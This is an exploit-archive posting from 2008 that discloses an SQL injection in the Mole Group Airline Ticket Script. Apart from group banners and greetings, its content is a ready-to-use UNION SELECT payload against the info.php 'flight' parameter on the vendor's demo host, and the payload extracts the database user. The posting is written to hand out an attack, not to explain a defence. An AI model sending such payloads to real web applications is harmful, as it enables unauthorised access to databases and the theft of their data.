[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mole Group Airline Ticket Script SQL Injection Vulnerability
# Published : 2008-11-05
# Author : InjEctOr5
# Previous Title : Joomla Component Flash Tree Gallery 1.0 RFI Vulnerability
# Next Title : Mole Group Taxi Calc Dist Script (Auth Bypass) SQL Injection Vuln
|| || | ||
o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,
( : / (_) / ( .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
| _ __ __ __ ______ |
| /' __ /'__` / __ /'__` / ___ |
| /_, ___ /_/_L ___ ,_/ / _ __ __/ |
| /_/ /' _ ` / /_/__<_ /'___ / /`'__ ___`` |
| / / / L / __/ _ _ / / L |
| _ _ __ ____/ ____\ __\ ____/ _ ____/ |
| /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ /___/ |
| ____/ >> Kings of injection |
| /___/ |
| |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
<<!>> Found by : Cyb3r-1sT
<<!>> C0ntact : cyb3r-1st [at] hotmail.com
<<!>> Groups : InjEctOr5 T3am
<<!>> site : www.tryag.cc/cc
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
<<->> script : mole-group Airline Ticket Script
<<->> script demo : www.mole-group.com/content/view/57/72
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> D0rk : find it
<<->> Exploit :>>>
>>>> http://airline.mole-group.com/info.php?flight=[sql]
ex >>>> http://airline.mole-group.com/info.php?flight=-60'+union+select+convert(user()+using+latin1),0,0,0,0,0,0,0,0,0,0,0,0/*
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
<<->> All freinds and all muslims
# www.Syue.com [2008-11-05]